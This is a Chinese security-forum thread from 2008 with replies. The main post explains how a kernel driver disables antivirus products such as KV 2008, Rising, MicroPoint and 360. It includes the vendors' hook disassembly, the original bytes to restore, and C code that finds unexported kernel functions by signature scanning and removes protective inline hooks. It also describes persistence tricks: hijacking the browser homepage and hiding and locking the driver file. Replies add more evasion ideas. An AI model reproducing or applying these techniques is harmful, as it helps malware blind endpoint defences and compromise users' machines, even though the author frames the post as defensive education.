25

[系统底层] [原创]干掉KV 2008, Rising等大部分杀软

sudami 2008-3-23 10:01 53411
前言:
写这篇文章不是为了传播病毒技术,而是让广大的电脑安全爱好者对病毒常用的伎俩有一个比较清楚的认识,才能更好的防范. 写的很菜,老鸟飘过~
主题:
利用驱动结束掉大部分的安全软件(eg. KV 2008, 瑞星,微点, 360),禁止一些ARK(反rootkits安全工具)的运行.(当然,不考虑主动防御如何禁止驱动的加载,现在前提是驱动已经加载.所以只讨论一个层面)

sudami [sudami@163.com]
http://hi.baidu.com/sudami

正文:

这段时间机器狗,磁碟机来势汹汹,手段无所不用其极. 其实它们的实现不是什么困难的事,只是病毒作者用了很多猥亵手段,投入了大量的精力. 于是,偶琢磨着写个小程序玩一下:

<一> 对KV 2008的分析
ps: R3下Kill 进程已经被炉子牛做的差不多了(万一ZwDulplicatXXX被挂了就失效了),所以略过~~~

KV 2008前段时间鼓吹IS结束掉它,其实没什么神秘的地方.好多牛已经讨论过了.驱动下结束它很简单.打开RKU扫描一下, 为了保护自己的进程, 江民做了3处inline hook, 3处SSDT HOOK




SSDT 15秒恢复1次,其中的NtTerminateProcess恢复更快,基本是5ms左右(DPC)

①处理方法: 恢复掉关键的一处inline hook KeInsertQueueApc即可

②具体细节:
--------------------------------------------
(1)
KV2008的inline hook -- ObOpenObjectByPointer
防止打开其进程

!ObOpenObjectByPointer:
8056cbc2 8bff mov edi,edi
8056cbc4 e967e59c00 jmp 80f3b130 ;往下要恢复15字节的内容
8056cbc9 94 xchg eax,esp
8056cbca 0000 add byte ptr [eax],al
8056cbcc 00538b add byte ptr [ebx-75h],dl
8056cbcf 5d pop ebp
8056cbd0 085657 or byte ptr [esi+57h],dl
|
| 恢复为下面的
|
nt!ObOpenObjectByPointer:
8089fa62 8bff mov edi,edi
8089fa64 55 push ebp
8089fa65 8bec mov ebp,esp
8089fa67 81ec94000000 sub esp,94h
8089fa6d 53 push ebx
8089fa6e 8b5d08 mov ebx,dword ptr [ebp+8]
8089fa71 56 push esi
8089fa72 57 push edi

--------------------------------------------
(2)
KV2008的inline hook -- KeInsertQueueApc
防止插APC终止其进程

nt!KeInsertQueueApc:
804e6411 8bff mov edi,edi
804e6413 e9286da500 jmp 80f3d140 ;往下要恢复7字节的内容
804e6418 0c53 or al,53h
|
| 恢复为下面的
|
nt!KeInsertQueueApc:
8080ecbf 8bff mov edi,edi
8080ecc1 55 push ebp
8080ecc2 8bec mov ebp,esp
8080ecc4 83ec0c sub esp,0Ch
8080ecc7 53 push ebx

--------------------------------------------
(3)
KV2008的inline hook -- RtlImageNtHeader
防止别人打开指定的PE模块

nt!RtlImageNtHeader:
804f97d5 90 nop ;往下要恢复26字节的内容
804f97d6 90 nop
804f97d7 90 nop
804f97d8 90 nop
804f97d9 90 nop
804f97da 90 nop
804f97db 90 nop
804f97dc 90 nop
804f97dd 90 nop
804f97de 90 nop
804f97df e95cc99f00 jmp 80ef6140
804f97e4 90 nop
804f97e5 ff743866 push dword ptr [eax+edi+66h]
804f97e9 813a4d5a7531 cmp dword ptr [edx],31755A4Dh
|
| 恢复为下面的
|
nt!RtlImageNtHeader:
80822e19 8bff mov edi,edi
80822e1b 55 push ebp
80822e1c 8bec mov ebp,esp
80822e1e 8b5508 mov edx,dword ptr [ebp+8]
80822e21 33c0 xor eax,eax
80822e23 85d2 test edx,edx
80822e25 743d je nt!RtlImageNtHeader+0x41 (80822e64)
80822e27 83faff cmp edx,0FFFFFFFFh
80822e2a 7438 je nt!RtlImageNtHeader+0x41 (80822e64)
80822e2c 66813a4d5a cmp word ptr [edx],5A4Dh
80822e31 7531 jne nt!RtlImageNtHeader+0x41 (80822e64)

-----------------------------

③实践思路:

1. 得到KV 2008的进程句柄
2. 通过句柄得到EPROCESS,然后遍历每个THREAD,结束之。
[之前要恢复inline hook]


ObReferenceObjectByHandle 通过handle得到Object
PsLookupProcessByProcessId 通过ID得到Object
ObOpenObjectByPointer 通过Object得到handle

-->所以可以绕过ObOpenObjectByPointer 的hook,调用PsLookupProcessByProcessId得到KV 2008的Object(也就是间接实现NtOpenProcess的一部分).
(PsLookupProcessByProcessId可能被别人hook过了,所以比较安全的做法是自己实现这个函数,其实就是在句柄表中找Object.可参考前人文章)

--> 对每个Thread,都是调用PspTerminateThreadByPointer.而它调用了KeInsertQueueApc.故要恢复后再调用.

<二> 搜索未导出的函数地址
(1)得到的PsGetNextProcessThread地址

偶采用的方法比较的笨,首先得到NtTerminateProcess的地址,再从中获取PsGetNextProcessThread。

弊端有3:
① 这个函数就是得到一个EPROCESS的所有ETHREAD,完全可以自己实现,只是BSOD的几率会增大(实现代码见下)

//
//
//
BOOLEAN
ReferenceObject(
PVOID Object
)
{
POBJECT_HEADER ObjectHeader;

ObjectHeader = (POBJECT_HEADER)((ULONG)Object - sizeof(OBJECT_HEADER));

if (ObjectHeader->PointerCount == 0)
{
return FALSE;
}

InterlockedIncrement( &ObjectHeader->PointerCount );

return TRUE;
}

//
// 自己实现PsGetNextProcessThread
//
PETHREAD
SD_PsGetNextProcessThread (
PEPROCESS Process,
PETHREAD Thread
)
{
PETHREAD FoundThread;
PLIST_ENTRY Entry;
PLIST_ENTRY ThreadListEntry;
PLIST_ENTRY ListHead;

//DbgPrint( "GetNextProcessThread( 0x%08x, 0x%08x )", Process, Thread );

FoundThread = NULL;

if (Thread != NULL) {
ThreadListEntry = (PLIST_ENTRY)((ULONG)Thread + ThreadProc);
Entry = ThreadListEntry->Flink;
} else {
ThreadListEntry = (PLIST_ENTRY)((ULONG)Process + ThreadListHead);
Entry = ThreadListEntry->Flink;
}

ListHead = (PLIST_ENTRY)((ULONG)Process + ThreadListHead);

while (ListHead != Entry) {
FoundThread = (PETHREAD)((ULONG)Entry - ThreadProc);

if (ReferenceObject( FoundThread )) {
break;
}

FoundThread = NULL;
Entry = Entry->Flink;
}

if (FoundThread != NULL) {
ObDereferenceObject( FoundThread );
}

DbgPrint( "线程地址: \t0x%08x \n", FoundThread );

return FoundThread;
}

② 有人说:“怎么不直接搜索PsGetNextProcessThread的特征码?”
sudami:我KD看了下不同的内核,函数因为寄存器的改动变化的比较大,不好定位

③ 有人说:“得到NtTerminateProcess的地址可以直接在SDT中取得嘛”
sudami:KV 2008 注册了一个DPC,5ms恢复一次对NtTerminateProcess的hook.所以要得到它的原始地址,还得自己读内核文件,在里面找到真实地址,颇为烦琐,于是我就直接搜索它的特征码, 看了一些内核,特征码还算稳定

nt!NtTerminateProcess:
808b5399 8bff mov edi,edi
808b539b 55 push ebp
808b539c 8bec mov ebp,esp
...
808b542a c7450822010000 mov dword ptr [ebp+8],122h
808b5431 e8e8a2ffff call nt!PsGetNextProcessThread (808af71e)
808b5436 8bf0 mov esi,eax.

部分code如下:

// 经过一系列的读PE后,得到一些偏移值。计算PE在内存中需要的空间。
// 为其分配一个非分页内存
// 将文件的内容都读取到这里
// 获取文件的大小,申请一块内存来存放它
//DbgPrint("获取文件的大小,申请一块内存来存放它\n");
ZwQueryInformationFile (ntFileHandle, &ioStatus, &fsi, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);

FileContent = ExAllocatePool (NonPagedPool, fsi.EndOfFile.LowPart);

if (FileContent == NULL)
{
ntStatus = STATUS_UNSUCCESSFUL;
ZwClose(ntFileHandle);

DbgPrint("ExAllocatePool Error\n");
goto End;
}

byteOffset.LowPart = 0;
byteOffset.HighPart = 0;

ntStatus = ZwReadFile(ntFileHandle,
NULL,
NULL,
NULL,
&ioStatus,
FileContent,
fsi.EndOfFile.LowPart,
&byteOffset,
NULL);

if (!NT_SUCCESS(ntStatus))
{
ZwClose(ntFileHandle);
ExFreePool(FileContent);

DbgPrint("ZwReadFile 将要读的内容,读到一片非分页内存失败 Error\n");
goto End;
}

if (fsi.EndOfFile.LowPart <= 0)
{
ntStatus = STATUS_NOT_FOUND;
ZwClose(ntFileHandle);
ExFreePool(FileContent);
DbgPrint("NeedSize <= 0 Error\n");
goto End;
}

GetHeaders (FileContent, &pfh, &poh, &psh);

//DbgPrint("psh: %08lx\n", (PVOID)psh);

//DbgPrint("start search....\n");
// 开始搜索。。。=.=!
for (i = 0; i < fsi.EndOfFile.LowPart; i++)
{
if ( (FileContent[i] == 0x8B) && (FileContent[i+1] == 0xFF) && (FileContent[i+2] == 0x55) && (FileContent[i+3] == 0x8B) &&
(FileContent[i+4] == 0xEC) && (FileContent[i+5] == 0x83) && (FileContent[i+6] == 0xEC) && (FileContent[i+7] == 0x10) &&
(FileContent[i+8] == 0x53) && (FileContent[i+9] == 0x56) && (FileContent[i+10] == 0x57) && (FileContent[i+11] == 0x64) &&
(FileContent[i+12] == 0xA1) && (FileContent[i+13] == 0x24) && (FileContent[i+14] == 0x01) && (FileContent[i+15] == 0x00) &&
(FileContent[i+16] == 0x00) && (FileContent[i+17] == 0x83) && (FileContent[i+18] == 0x7D) && (FileContent[i+19] == 0x08) &&
(FileContent[i+20] == 0x00) && (FileContent[i+21] == 0x8B) && (FileContent[i+22] == 0xF8) && (FileContent[i+23] == 0x8B) &&
(FileContent[i+24] == 0x47) && (FileContent[i+25] == 0x44) && (FileContent[i+26] == 0x89) && (FileContent[i+27] == 0x45) &&
(FileContent[i+28] == 0xF0) && (FileContent[i+29] == 0x0F) && (FileContent[i+30] == 0x84) )
{
//DbgPrint(" 进来了~\n");

DbgPrint("文件偏移i: %08lx\n", (PVOID)i);
// 找到了
sudami_1 = Offset2RVA( i, psh, pfh->NumberOfSections );

//DbgPrint("RVA -- sudami_1 : %08lx\n", (PVOID)sudami_1);

if (sudami_1 == 0) {
DbgPrint("sudami_1 == 0 Error\n");
goto NotFound;
}

if (sudami_1 > SizeOfImage) {
DbgPrint("sudami_1 > SizeOfImage Error\n");
goto NotFound;
}

sudami_1 += ModuleBase;

if (!MmIsAddressValid((PVOID)sudami_1 )) {
DbgPrint("!MmIsAddressValid((PVOID)sudami_1 ) Error\n");
goto NotFound;
}

NtTerminateProcess = (PUCHAR)sudami_1;
DbgPrint( "NtTerminateProcess:\t0x%08x\n", (ULONG)NtTerminateProcess );

ExFreePool(FileContent);
ZwClose(ntFileHandle);

goto End;
}

然后就好做了,下面是个很科普的函数:

VOID XPGetPsGetNextProcessThread()
{
PUCHAR cPtr;
PUCHAR addr;
int i = 0;

//DbgPrint("开始找PsGetNextProcessThread \n");

if( NULL == NtTerminateProcess) {
DbgPrint( "NtTerminateProcess NULL == \n" );
return;
}

for (cPtr = (PUCHAR)NtTerminateProcess;
cPtr < ((PUCHAR)NtTerminateProcess + PAGE_SIZE);
cPtr++) {

//DbgPrint("cPtr: \t0x%08x \n", cPtr);
if (*cPtr == 0xE8/* && *(PUSHORT)(cPtr + 5) == 0x8BF0 && *(PUSHORT)(cPtr + 7) == 0x85F6*/) {
i++;
//DbgPrint("--- 进来了--- \n");

if( 3 == i ) {
g_PsGetNextProcessThread =
(My_PsGetNextProcessThread)(*(PULONG)(cPtr + 1) + (ULONG)cPtr + 5);
DbgPrint( "PsGetNextProcessThread:\t0x%08x\n", (ULONG)g_PsGetNextProcessThread );

break;
}
}
}
}

(2)得到的PspTerminateThreadByPointer地址

前言: 微点连 PsTerminateSystemThread 也inline hook,真无耻~
nt!PsTerminateSystemThread:
808aa35f 8bff mov edi,edi
808aa361 55 push ebp
808aa362 8bec mov ebp,esp
808aa364 64a124010000 mov eax,dword ptr fs:[00000124h]
808aa36a f6804802000010 test byte ptr [eax+248h],10h
808aa371 0f84ea300800 je nt!PsTerminateSystemThread+0x14 (8092d461)
808aa377 ff7508 push dword ptr [ebp+8]
808aa37a 50 push eax
808aa37b e8a2e9cf77 call f85a8d22 ; 被inline hook了
;
; 本来是call nt!PspTerminateThreadByPointer (XXXXX),显然跳到了微点的处理
; 函数中, 若从这里找未导出的 PspTerminateThreadByPointer就不爽了, 所以要换
; 从其他的导出函数中搜索(前提是若你想调用PspTerminateThreadByPointer函数)
; -- sudami 08/03/16
;
808aa380 5d pop ebp
808aa381 c20400 ret 4

整理下思绪,直接在内部调用过PspTerminateThreadByPointer的函数有4个:
NtTerminateProcess、NtTerminateThread、PspTerminateProcess [未导出]
PsTerminateSystemThread [已导出]


1.> 对于NtTerminateProcess, 还得先得到ZwTerminateProcess的地址(已导出),取出其服务号,再到SST中找;而且若被其他安全软件hook了,找到的还不是原始地址.
恢复SSDT也不是保险的方法, eg: KV 2008注册了个DPC,每隔5ms恢复一次对NtTerminateProcess的hook,所以基本不可能得到原始的地址.
或者你可以读ntoskrnl.exe,重定位后找到原始的NtTerminateProcess.这样是可行的,不过比较繁琐~



2.> PsTerminateProcess是对PspTerminateProcess的包装.而它们都没有在已导出的函数中调用过.故此路不通.



3.> 搜索PsTerminateSystemThread应该是最简单的,可恰恰MicroPoint又在里面做了手脚.


综上,要让自己的驱动能稳定的对抗现行的各大杀软, 上面的方法都不可取.
[前提: 你希望得到PspTerminateThreadByPointer的地址,以便强行关闭现行的各大杀软(KV 2008除外)]

先看下面这个搜索的函数:

VOID XPGetPspTerminateThreadByPointer()
{
PUCHAR cPtr;

DbgPrint( "PsTerminateSystemThread:\t0x%08x", PsTerminateSystemThread );

for (cPtr = (PUCHAR)PsTerminateSystemThread;
cPtr < (PUCHAR)PsTerminateSystemThread + PAGE_SIZE;
cPtr++)
{
if (*cPtr == 0xE8 && *(PUSHORT)(cPtr + 5) == 0xC25D)
{
PspTerminateThreadByPointer =
(PSPTERMINATETHREADBYPOINTER)(*(PULONG)(cPtr + 1) + (ULONG)cPtr + 5);
DbgPrint( "PspTerminateThreadByPointer:\t0x%08x",
(ULONG)PspTerminateThreadByPointer );
break;
}
}
}

若机器装了MP,就失败了,BSOD是显而易见的.

这样一分析,到是原来简便的方法不稳定了,那就不妨试下最笨的方法 -- 读取ntoskrnl.exe(或者其他内核)到一块NonPagedpool中,在里面搜索特征码.可以搜索函数头,也可以搜索函数体. 但是操作系统的版本和补丁问题,这样找起来也不是很稳定.

偶机器是ntoskrnl.exe

lkd> dd PspTerminateThreadByPointer
8089c971 8b55ff8b 0cec83ec fff84d83 7d8b5756
8089c981 48b78d08 f6000002 45c74006 f0bdc0f4
8089c991 ae850fff 64000909 000124a1 0ff83b00
8089c9a1 018e0985 40c03300 ff0609f0 18e80c75
8089c9b1 90fffffd 90909090 2068106a e8808155
8089c9c1 fff6f4be 0508458b 000001d4 850f0039
8089c9d1 0003e960 f6f4e4e8 0004c2ff e9344e8d
8089c9e1 ffffae92 90909090

所以偶是这样做的: 判断机器有微点,就搜索文件得到地址,否则直接用导出的函数来搜索地址

(3) 恢复江民的 KeInsertQueueApc inline hook

BYTE KeInsertQueueApc_orig_code[9] = { 0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0x53 };

//
// 恢复KeInsertQueueApc的inline hook
//
VOID XPRestoreKeInsertQueueApc ()
{
PUCHAR addr;
KIRQL oldIrql;

addr = (PUCHAR) GetFunctionAddr( L"KeInsertQueueApc" );

// 禁止系统写保护,提升IRQL到DPC,然后恢复KeInsertQueueApc的Inline Hook
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();

// 恢复KeInsertQueueApc的前字节
RtlCopyMemory ( (BYTE*)addr, KeInsertQueueApc_orig_code, 9 );

KeLowerIrql(oldIrql);

WPON();

//DbgPrint("XPRestoreKeInsertQueueApc Success\n");
}

<三 运行效果>

程序运行后:
1. 5ms一次遍历安全软件进程,发现就kill掉。很暴力~~~
2. 修改IE首页,反复写注册表
3. 隐藏sudami.sys,文件占炕,防止被删





其实没必要做这么多辅助的东西,只是为了试验下效果. 比如:

1. kill进程最好自己实现结束进程的全过程,恢复一些必须的inline hook,每次调用前恢复一次.其实一路写到PspExitThread很不稳定, 因为IRQL,线程调度, 线程等待状态等各种原因,容易BSOD~ 俺这里偷懒了.

2. 修改IE首页就是调用ZwXXX系列,一个线程反复的写.和piaoxue的驱动差不多. 其实简单的调用一个更底层的函数CmXXXX就可以防范了.

3. 隐藏文件,无非是SSDT hook,只是加了个KTimer反复hook,骗骗菜鸟还行 ;
文件占炕防止驱动被删, 关掉句柄就可以了.或者用360文件粉碎机 --> 重启删除 (若是病毒作者,可以判断是否有安全软件在尝试这种"重启删除"的行为,是则立即删注册表的那个标记,再蓝掉 ,偶不是病毒制造者,所以就不做了)

4. 还有其他的诸如替换beep.sys, 感染mpXXX.sys, R3层加个线程弹网页, 禁用"组策略",autorun.inf等等,病毒用的很多, 实现起来也不复杂,所以同学们不要觉得很神秘.知道原理就能防患于未然.

------------------------------------------------------------------------------------------------------
驱动无壳无花,可IDA直接F5.

附件为测试程序. 请不要在主机上运行. 万一中毒,设置注册表的修改权限为"完全禁止",重启后删除C:\WINDOWS\SYSTEM32\Driver\sudami.sys 即可.

---------------------------------------------
参考资料:

(1) 搜索未导出的函数地址
(2) 句柄啊,3层表啊,ExpLookupHandleTableEntry啊
(3) PsLookupProcessByProcessId执行流程
(4) 360SuperKill--恢复FSD的IRP处理函数
(5) WRK,ReactOS

可能因为内核补丁的缘故,在有些机器上会出现没有效果的情况,属正常

推荐:论坛大聚会| 看雪安全开发者峰会将于7月21号火热来袭!

上传的附件:
最新回复 (115)
wangshq397 2008-3-23 10:16
2
autoruns 能不能看到?
能看到的话,还是白忙乎
szdbg 2008-3-23 10:18
3
学习

其实我觉得,现在一些病毒,动不动就杀掉KV之类的软件或者禁止监控,是不是太笨了?

这样一下子就引起了用户的注意,发觉病毒的存在,继而千方百计也要把病毒揪出来,大不了重装系统!
sudami 2008-3-23 10:19
4
你自己试下就知道了。看得到也删不掉,这只是个测试程序。

和病毒成品差距甚远。我又不是做病毒的。
北极星2003 2008-3-23 10:25
5
支持sudami 大牛!
wangweimin 2008-3-23 10:35
6
  牛人
peaceclub 2008-3-23 10:48
7
都到驱动里搞动作了,而且杀毒软件的有些动作很猥琐,真的无聊。
Osris 2008-3-23 11:46
8
好帖子,受教了

现在象micropoint这种猥琐的深层inline hook,
象楼主说的“或者你可以读ntoskrnl.exe,重定位后找到原始的NtTerminateProcess.这样是可行的,不过比较繁琐~ ”
不如自己实现一个Pe Load,装载需要的内核文件来用吧
upxshell 2008-3-23 12:05
9
精贴,牛人,向高人学习
forgot 2008-3-23 13:13
10
前提太难了31415926
sudami 2008-3-23 13:19
11
若考虑前前后后的东西. 估计还得花至少一个星期.

比如过主防, arp, 感染exe, U盘传播.

所以得一步步的攻坚嘛,况且,研究研究就够了,真要写个病毒出来达到和 磁碟机 一样的效果,还是有一段时间的挑战的

--------------------------------------------------------------

这文章只是一种思路, 让杀软失效的方法很多,比如V大提到的线程调度方面....

嘿嘿~~~
kgdurgwu 2008-3-23 13:21
12
收藏份。。。。
yingyue 2008-3-23 13:45
13
好久没保存过精华文章了,收
NWMonster 2008-3-23 15:47
14
很有价值,学习了。
kgdurgwu 2008-3-23 15:50
15
我想问下这些未导出的函数应该怎么去用啊??
他的参数和类型值应该怎么知道?
谢谢
sudami 2008-3-23 19:41
16
WRK + Windbg
petnt 2008-3-23 20:14
17
收藏学习,再次佩服一个大米同学。。。
zhtjia 2008-3-23 20:45
18
牛...................
还是牛...................
zzy 2008-3-23 21:36
19
天下 已经大乱了~~
combojiang 2008-3-23 22:14
20
学习sudami 大牛的文章
kgdurgwu 2008-3-23 22:35
21
学习了
非常感谢。。。。
zhuwg 2008-3-23 22:38
22
内存清0啊 貌似还是通杀

还有就是自己送apc给目标进程
不走系统得过程 嘿嘿
zhuwg 2008-3-23 22:38
23
如果api被hook了
我们要立刻自己写代码完成这个api得工作
sudami 2008-3-23 22:48
24
处理下KeAttachXXXX、KiAttachXXXX、KeStackXXXX应该可以简单的防下内存清0

若在KiInsertQueueXXXX上做了手脚。那么还得自己完成APC插入到队列的过程(队列头 or 队列尾),也不是很爽,自己实现到是不错的方法~

forgot 2008-3-24 00:47
25
ring0的好处就是想怎么搞怎么搞,搞死了重启又可以搞了
heimei 2008-3-24 09:06
26
楼主你那个扫描工具叫啥?
第一幅图 2
3Q
scz 2008-3-24 09:29
27
我觉得楼上那位说得有道理啊。看得到就删得掉。

现在热杀不是跟自己过不去么,无非是比谁更猥琐,搞成Ring 0战场。

都是上WinPE直接一锅端啊。

看不到了反倒藏得好点,上WinPE之后还得多费点手脚找,找不爽了还可能找不干净。
能看到,就省了太多事。
sudami 2008-3-24 09:30
28
一些反RK的安全工具啊,算了,列个清单,诸位同学自己google 下载吧:

Rootkit Unhooker v3.7
IceSword 1.22
gmer.exe
Wsyscheck.exe
SnipeSword.exe

...
sudami 2008-3-24 09:33
29
我又不是专门要实现文件隐藏的,也没有专门要实现文件防删。只是个简单的测试呀。

早就说了,这些辅助的功能是随便写的,你非要钻牛角尖
scz 2008-3-24 09:43
30
呵,别激动,冷静。

我只是看楼上那位那么说,而你的反驳似乎是认为"看得到也删不掉",故有此疑问,没敢
蔑视你啊,见谅见谅。闪先。
linestyle 2008-3-24 11:10
31
  支持素大米兄弟的共享精神
wangweimin 2008-3-24 17:49
32
  不懂,不过楼主挺牛的
dragonyjd 2008-3-24 19:40
33
貌似跟病毒没啥区别了。不过驱动很容易兰屏的。
cherryfly 2008-3-25 11:30
34
PF,先顶一个,在慢慢看
shinechou 2008-3-25 16:16
35
精品文章值得收藏拜读,谢谢分享,辛苦了!
njcws 2008-3-25 22:35
36
真是牛。高手啊。
Osris 2008-3-26 01:02
37
[QUOTE=sudami;432069]

(2)得到的PspTerminateThreadByPointer地址

前言: 微点连 PsTerminateSystemThread 也inline hook,真无耻~
nt!PsTerminateSystemThread:
808aa35f 8bff mov edi,edi
808aa361 55 push ebp
808aa362 8bec mov ebp,esp
808aa364 64a124010000 mov eax,dword ptr fs:[00000124h]
808aa36a f6804802000010 test byte ptr [eax+248h],10h
808aa371 0f84ea300800 je nt!PsTerminateSystemThread+0x14 (8092d461)
808aa377 ff7508 push dword ptr [ebp+8]
808aa37a 50 push eax
808aa37b e8a2e9cf77 call f85a8d22 ; 被inline hook了
[/QUOTE]

请教LZ,这种深层次的inline hook是怎么发现的?有没有方便的检测工具??
还是自己一步步跟出来的??

鸡蛋壳 2008-3-26 08:08
38
inline hook 检测其实并不难,首先这个函数无法被VM,同时要有一个必然的格式,究竟是什么格式,自己想。只要用反汇编引擎对各大函数扫描一次就能搞定,当然了,这样效率也极差。
sudami 2008-3-26 08:43
39
在debuman已经有大牛探讨过检测这种深层次的inline hook了。

想法不错,实现起来很困难,和鸡蛋壳的描述差不多。

-----------------------------------

自己跟 + ARK分析
forgot 2008-3-26 09:35
40
深层inline hook已经过时了,现在是动态vm
zhtjia 2008-3-26 11:45
41
动态vm?????????
forgot能否详细说下
zhtjia 2008-3-27 09:01
42
大米兄,可否传份C的上来
sudami 2008-3-27 09:35
43
传code上来就是传播病毒了。

DonQuixote 2008-3-27 13:42
44
以前用别人的代码改了个ring0用的GetModuleHandle和GetProcAddress,稳定性还可以
-------------------------------------------------------------------------

extern "C"
{
#include <ntddk.h>
}
#include <WinDef.h>
#include <stdio.h>

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG            ProcessId;
    UCHAR            ObjectTypeNumber;
    UCHAR            Flags;
    USHORT            Handle;
    PVOID            Object;
    ACCESS_MASK        GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;

extern "C" NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation
(
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
    IN OUT PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength OPTIONAL
);

typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

BOOL sysmsgf(const char*format,...);
HMODULE GetModuleHandle(char*lpModuleName)
{
        void*pModuleAddress=NULL;

        NTSTATUS status=STATUS_SUCCESS;
        ULONG n =0;
        ULONG i=0;
        PSYSTEM_MODULE_INFORMATION module=NULL;
        PVOID pbuftmp=NULL;

        status=ZwQuerySystemInformation(SystemModuleInformation,&n,0,&n);

        pbuftmp=ExAllocatePool(NonPagedPool,n);

        status=ZwQuerySystemInformation(SystemModuleInformation,pbuftmp,n,NULL);
        if(status!=STATUS_SUCCESS){ExFreePool(pbuftmp);return 0;}

        module=(PSYSTEM_MODULE_INFORMATION)((PULONG )pbuftmp+1);
        n=*((PULONG)pbuftmp);
        for(i=0;i<n;i++)
        {
                if(!strcmp(module[i].ImageName+module[i].ModuleNameOffset,lpModuleName))
                {
                        //sysmsgf("***find***\r\n");
                        pModuleAddress=module[i].Base;
                }
                //sysmsgf("0x%08X %s\r\n",module[i].Base,module[i].ImageName+module[i].ModuleNameOffset);
    }
        //sysmsgf("total:%d modules\r\n",n);
       
        ExFreePool(pbuftmp);
        return (HMODULE)pModuleAddress;
}
BOOL EnumModule()
{
        void*pModuleAddress=NULL;

        NTSTATUS status=STATUS_SUCCESS;
        ULONG n =0;
        ULONG i=0;
        PSYSTEM_MODULE_INFORMATION module=NULL;
        PVOID pbuftmp=NULL;

        status=ZwQuerySystemInformation(SystemModuleInformation,&n,0,&n);

        pbuftmp=ExAllocatePool(NonPagedPool,n);

        status=ZwQuerySystemInformation(SystemModuleInformation,pbuftmp,n,NULL);
        if(status!=STATUS_SUCCESS){ExFreePool(pbuftmp);return FALSE;}

        module=(PSYSTEM_MODULE_INFORMATION)((PULONG )pbuftmp+1);
        n=*((PULONG)pbuftmp);
        for(i=0;i<n;i++)
        {
                sysmsgf("0x%08X %s\r\n",module[i].Base,module[i].ImageName+module[i].ModuleNameOffset);
    }
        sysmsgf("total:%d modules\r\n",n);
       
        ExFreePool(pbuftmp);
        return TRUE;
}
///////// GetProcAddress /////////////////

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16

typedef struct _IMAGE_OPTIONAL_HEADER {
    //
    // Standard fields.
    //

    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;

    //
    // NT additional fields.
    //

    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

typedef PIMAGE_NT_HEADERS32                 PIMAGE_NT_HEADERS;

